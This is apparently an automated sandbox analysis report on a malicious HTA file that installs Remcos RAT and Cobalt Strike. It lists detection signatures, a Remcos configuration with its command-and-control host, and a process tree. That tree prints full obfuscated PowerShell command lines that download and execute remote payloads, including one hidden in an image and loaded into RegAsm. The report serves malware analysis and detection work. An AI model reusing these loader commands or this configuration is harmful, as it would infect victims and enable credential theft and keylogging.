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Windows
Analysis Report
na.hta
Overview
General Information
Detection
Cobalt Strike, Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Contains functionality to bypass UAC (CMSTPLUA)
Detected Cobalt Strike Beacon
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
AI detected suspicious sample
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Installs a global keyboard hook
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
Obfuscated command line found
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Abnormal high CPU Usage
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w10x64
- mshta.exe (PID: 3788 cmdline:
mshta.exe "C:\Users\ user\Deskt op\na.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) - powershell.exe (PID: 3812 cmdline:
"C:\Window s\SYSTEM32 \wInDoWspo WERsheLl\v 1.0\pOwerS HelL.EXe" "PowErsheL l.ExE -Ex byPaSs -nop -W 1 -c Devic ECrEdentia LdEploymeN t.eXe ; IE x($(IeX('[ SYStEm.tEX t.enCoDing ]'+[cHaR]5 8+[chaR]58 +'Utf8.gEt sTRiNg([sY stEM.CoNVE rT]'+[cHar ]58+[ChaR] 0x3a+'From BaSE64sTrI ng('+[chAR ]34+'JEcgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI D0gICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIGFERC1 0WVBlICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAtT UVNYkVyZGV maW5JdGlPT iAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgJ1tEbGx JbXBvcnQoI nVybG1vTiI sICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBDaGFyU 2V0ID0gQ2h hclNldC5Vb mljb2RlKV1 wdWJsaWMgc 3RhdGljIGV 4dGVybiBJb nRQdHIgVVJ MRG93bmxvY WRUb0ZpbGU oSW50UHRyI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBHbWZScFV 0LHN0cmluZ yAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgUE1kWHZ OLHN0cmluZ yAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgRnQsdWl udCAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgYXh4c 2lBU0hmLEl udFB0ciAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAge EhXU3kpOyc gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIC1OYU1lI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAiZ3VNcGJ iZUdkVyIgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI C1OQW1lU1B hY2UgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIG9Ne npHY015TiA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gLVBhc3NUa HJ1OyAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgJEc 6OlVSTERvd 25sb2FkVG9 GaWxlKDAsI mh0dHA6Ly8 xOTIuMy4yM jAuNDAvNDU wL3NlZXRoZ WJlc3Rwcml jZXdpdGhnb 29kY29va2l lc21lLnRJR iIsIiRFblY 6QVBQREFUQ VxzZWV0aGV iZXN0cHJpY 2V3aXRoZ29 vZGNvb2tpZ XNtLnZiUyI sMCwwKTtzV GFSVC1zTGV lUCgzKTtTV GFSVCAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIiR lTlY6QVBQR EFUQVxzZWV 0aGViZXN0c HJpY2V3aXR oZ29vZGNvb 2tpZXNtLnZ iUyI='+[Ch Ar]0X22+') )')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 4148 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 2228 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Ex byPaSs -nop -W 1 -c DevicE CrEdentiaL dEploymeNt .eXe MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - csc.exe (PID: 5016 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\p44lx5ym \p44lx5ym. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) - cvtres.exe (PID: 1776 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE SC057.tmp" "c:\Users \user\AppD ata\Local\ Temp\p44lx 5ym\CSC1BD FD807A6FD4 EDC87F258A 79D1E57AA. TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) - wscript.exe (PID: 7156 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\seeth ebestprice withgoodco okiesm.vbS " MD5: FF00E0480075B095948000BDC66E81F0) - powershell.exe (PID: 3840 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' KCd0ZycrJz RpbWFnZVVy bCA9IE5sTG h0dCcrJ3Bz Oi8vJysncm F3LmdpdGh1 YnVzZXJjby crJ250ZW50 LmNvbS9Dcn lwdGVyc0Fu ZFRvb2xzT2 ZpY2lhbC9a SVAvcmVmcy 9oZScrJ2Fk Jysncy9tYW luL0QnKydl dGFoTm90ZV 9WLmpwZyBO bEw7dGc0d2 ViQ2xpZW50 ID0gTmV3LU 9iamVjdCBT eXN0ZW0uTm V0LldlYkNs aWVudDt0Zz RpbWFnZUIn Kyd5dGVzID 0gdGc0d2Vi Q2xpZW50Lk Rvd25sb2En KydkRGF0YS h0ZzRpbWFn ZVVybCk7dG c0aW1hZ2VU ZXh0ID0gW1 N5c3RlbS5U ZXh0LkVuY2 9kJysnaW5n XTo6VVRGOC 5HZXRTdHJp bmcodGc0aW 1hZ2VCeXRl cyk7dGc0c3 RhcnRGbGFn ID0gTmxMPD xCQVNFNjRf U1RBUlQ+Pk 5sJysnTDt0 ZzRlbmRGbG FnID0gTmxM PDxCQVMnKy dFNjRfRU5E Pj5ObEw7dC crJ2c0c3Rh cnRJbmRleC A9IHRnNGlt YWdlVGV4dC 5JbmRleE9m KHRnNHN0YX J0RmxhZyk7 dGc0ZW5kSW 5kZXggPSB0 ZzRpbWFnZV QnKydleHQu SW5kZXhPZi h0ZzRlbmRG bGFnKTt0Zz RzdGFydElu ZGV4JysnIC 1nJysnZSAw IC1hbmQgdG c0ZW5kSW5k ZXggLWd0IH RnNHN0YXJ0 SW5kZXg7dG c0cycrJ3Rh cnRJbmRleC ArPSB0ZzRz dGFydEZsYW cuTGVuZ3Ro O3RnNGJhc2 U2NExlbmd0 aCA9IHRnNG VuZEluZGV4 IC0gdGc0c3 RhcnRJbmRl eDt0ZzRiYX NlNjRDb21t YW5kJysnID 0gdGc0aW1h Z2VUZXh0Ll N1YnN0cmlu ZygnKyd0Zz RzdGFydElu ZGV4LCB0Zz RiYXNlNjRM ZW5ndGgpO3 RnNGNvbW1h bmRCeXRlcy A9IFtTeXN0 ZW0uQ29udm VydCcrJ106 OkYnKydyb2 1CYXNlNjRT dHJpbmcodG c0YmFzZTY0 Q29tbWFuZC k7dGc0bG9h ZGVkQXNzZW 1ibCcrJ3kg PSBbU3lzdG VtLlJlZmxl Y3Rpb24uQX NzZW1ibHld OjpMb2FkKH RnNGNvbW1h bmRCeScrJ3 RlJysncyk7 dGc0dmFpTW V0aG9kID0g W2RubGliLk lPLkhvbWVd LkdldE1ldG hvZChObExW QScrJ0lObE wpO3RnNHZh aScrJ01ldG hvZCcrJy5J bnZva2UodG c0bnVsbCwg QChObCcrJ0 x0eHQuRUND RlJSLzA1NC 8wNC4wMjIu My4yOTEvLz pwdHRoTmwn KydMLCBObE xkZXNhdCcr J2l2YWRvTi crJ2xMLCBO bExkZXNhdG l2YWRvTmxM LCBObExkZX NhdGl2YWRv TmxMLCBObE xSZWdBc21O bEwsIE5sTG Rlc2F0aXZh ZG9ObEwsIE 5sTGRlc2F0 aXZhZG9ObE wpKTsnKS5S RVBsQWNlKC d0ZzQnLFtz VHJJbkddW2 NoQXJdMzYp LlJFUGxBY2 UoKFtjaEFy XTc4K1tjaE FyXTEwOCtb Y2hBcl03Ni ksW3NUcklu R11bY2hBcl 0zOSkgfCAu ICgoZ1YgJy pNZFIqJyku TmFtZVszLD ExLDJdLUpv SU4nJyk='; $OWjuxd = [system.Te xt.encodin g]::UTF8.G etString([ system.Con vert]::Fro mbase64Str ing($codig o));powers hell.exe - windowstyl e hidden - executionp olicy bypa ss -NoProf ile -comma nd $OWjuxD MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 2672 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 4720 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "('tg' +'4imageUr l = NlLhtt '+'ps://'+ 'raw.githu buserco'+' ntent.com/ CryptersAn dToolsOfic ial/ZIP/re fs/he'+'ad '+'s/main/ D'+'etahNo te_V.jpg N lL;tg4webC lient = Ne w-Object S ystem.Net. WebClient; tg4imageB' +'ytes = t g4webClien t.Downloa' +'dData(tg 4imageUrl) ;tg4imageT ext = [Sys tem.Text.E ncod'+'ing ]::UTF8.Ge tString(tg 4imageByte s);tg4star tFlag = Nl L<<BASE64_ START>>Nl' +'L;tg4end Flag = NlL <<BAS'+'E6 4_END>>NlL ;t'+'g4sta rtIndex = tg4imageTe xt.IndexOf (tg4startF lag);tg4en dIndex = t g4imageT'+ 'ext.Index Of(tg4endF lag);tg4st artIndex'+ ' -g'+'e 0 -and tg4e ndIndex -g t tg4start Index;tg4s '+'tartInd ex += tg4s tartFlag.L ength;tg4b ase64Lengt h = tg4end Index - tg 4startInde x;tg4base6 4Command'+ ' = tg4ima geText.Sub string('+' tg4startIn dex, tg4ba se64Length );tg4comma ndBytes = [System.Co nvert'+']: :F'+'romBa se64String (tg4base64 Command);t g4loadedAs sembl'+'y = [System. Reflection .Assembly] ::Load(tg4 commandBy' +'te'+'s); tg4vaiMeth od = [dnli b.IO.Home] .GetMethod (NlLVA'+'I NlL);tg4va i'+'Method '+'.Invoke (tg4null, @(Nl'+'Ltx t.ECCFRR/0 54/04.022. 3.291//:pt thNl'+'L, NlLdesat'+ 'ivadoN'+' lL, NlLdes ativadoNlL , NlLdesat ivadoNlL, NlLRegAsmN lL, NlLdes ativadoNlL , NlLdesat ivadoNlL)) ;').REPlAc e('tg4',[s TrInG][chA r]36).REPl Ace(([chAr ]78+[chAr] 108+[chAr] 76),[sTrIn G][chAr]39 ) | . ((gV '*MdR*'). Name[3,11, 2]-JoIN'') " MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - RegAsm.exe (PID: 3092 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13) - RegAsm.exe (PID: 4072 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\ic thiyu" MD5: 0D5DF43AF2916F47D00C1573797C1A13) - RegAsm.exe (PID: 6500 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\sw yajqfles" MD5: 0D5DF43AF2916F47D00C1573797C1A13) - RegAsm.exe (PID: 5352 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\sw yajqfles" MD5: 0D5DF43AF2916F47D00C1573797C1A13) - RegAsm.exe (PID: 5704 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\vz dkjbynsaly k" MD5: 0D5DF43AF2916F47D00C1573797C1A13)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
{"Host:Port:Password": "idabo.duckdns.org:6875:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-I89M3S", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
Click to see the 26 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
REMCOS_RAT_variants | unknown | unknown |
| |
Click to see the 18 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |